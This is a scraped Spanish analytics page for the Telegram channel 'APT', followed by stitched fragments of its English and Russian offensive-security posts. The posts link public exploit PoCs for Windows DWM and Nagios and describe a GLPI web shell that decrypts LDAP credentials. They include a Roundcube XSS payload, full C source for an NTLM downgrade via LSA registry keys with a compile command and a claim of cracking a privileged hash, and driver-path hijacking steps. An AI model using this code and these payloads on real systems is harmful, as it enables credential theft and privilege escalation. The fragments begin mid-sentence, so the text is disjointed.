APT
This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat
Mostrar más📈 Análisis del canal de Telegram APT
El canal APT (@apt_notes) en el segmento lingüístico de Inglés es un actor destacado. Actualmente la comunidad reúne a 16 236 suscriptores, ocupando la posición 7 782 en la categoría Tecnologías y Aplicaciones y el puesto 40 429 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 16 236 suscriptores.
Según los últimos datos del 29 agosto, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 560, y en las últimas 24 horas de 13, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 39.15%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 18.08% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 6 354 visualizaciones. En el primer día suele acumular 2 934 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 26.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“This channel discusses:
— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc
Disclaimer:
t.me/APT_Notes/6
Chat Link:
t.me/APT_Notes_PublicChat”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 30 agosto, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
CCommandBuffer::Initialize method, triggered by a miscalculation during memory allocation.
🖥 Affected versions
— Windows 10: 1507, 1607, 1809, 21H2, 22H2
— Windows 11: 21H2, 22H2, 23H2
— Windows Server: 2016, 2019, 2022
🔗 Source:
https://github.com/fortra/CVE-2024-30051
#windows #eop #dwm #research #pocmonitoringwizard.php component, allowing authenticated SQL injection (CVE-2024-24401) that lets attackers create an admin account and remote code execution.
🔗 Source:
https://github.com/MAWK0235/CVE-2024-24401
#nagios #sql #rce #privesc #poc #exploitComTraveller/PermissionHunter
- ComTraveller - анализ всех COM на системе на предмет наличия TypeLib, значения ключа Runas (The Interactive User или NT AUTHORITY\SYSTEM ведет к LPE), а также возможности кросс-сессионной активации, как было в LeakedWallpaper
Так вы можете несколько автоматизировать процесс обнаружения мисконфигов в COM :)
Помимо того, там есть небольшой трюк по получению PID процесса, в котором инстанцирован COM-класс, что позволяет исследовать COMы с новой стороны
А если бы я релизнул это чуть раньше, то кто-нибудь точно нашел CVE-2024-38100 (FakePotato) и CVE-2024-38061 (SilverPotato) 🤪+ Example of a GLPI web shell for accessing hidden variables and credentials, which can be useful when GLPI is connected to Active Directory via LDAP. This can help gather credentials of privileged users. While GLPI encrypts these credentials in the database, a web shell can access, decrypt, and display them.
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar"> Foo </body>🔗 Source: https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail #roundcube #xss #cve #poc
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep
void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}
void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}
void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);
// Задержка 60 секунд
sleep(60);
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
return 0;
}
Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users. 1) ISO Mounting and Driver Selection
1.1) The attack begins with mounting the ISO as a filesystem.
1.2) The attacker selects a service driver that can be manipulated, focusing on those that can be started or restarted without immediate detection.
2) Hijacking the Driver Path
2.1) The core of the attack involves hijacking the driver path. The methods used include:
2.2) Direct Reparse Point Abuse
2.3) DosDevice Global Symlink Abuse
2.4) Drive Mountpoint Swap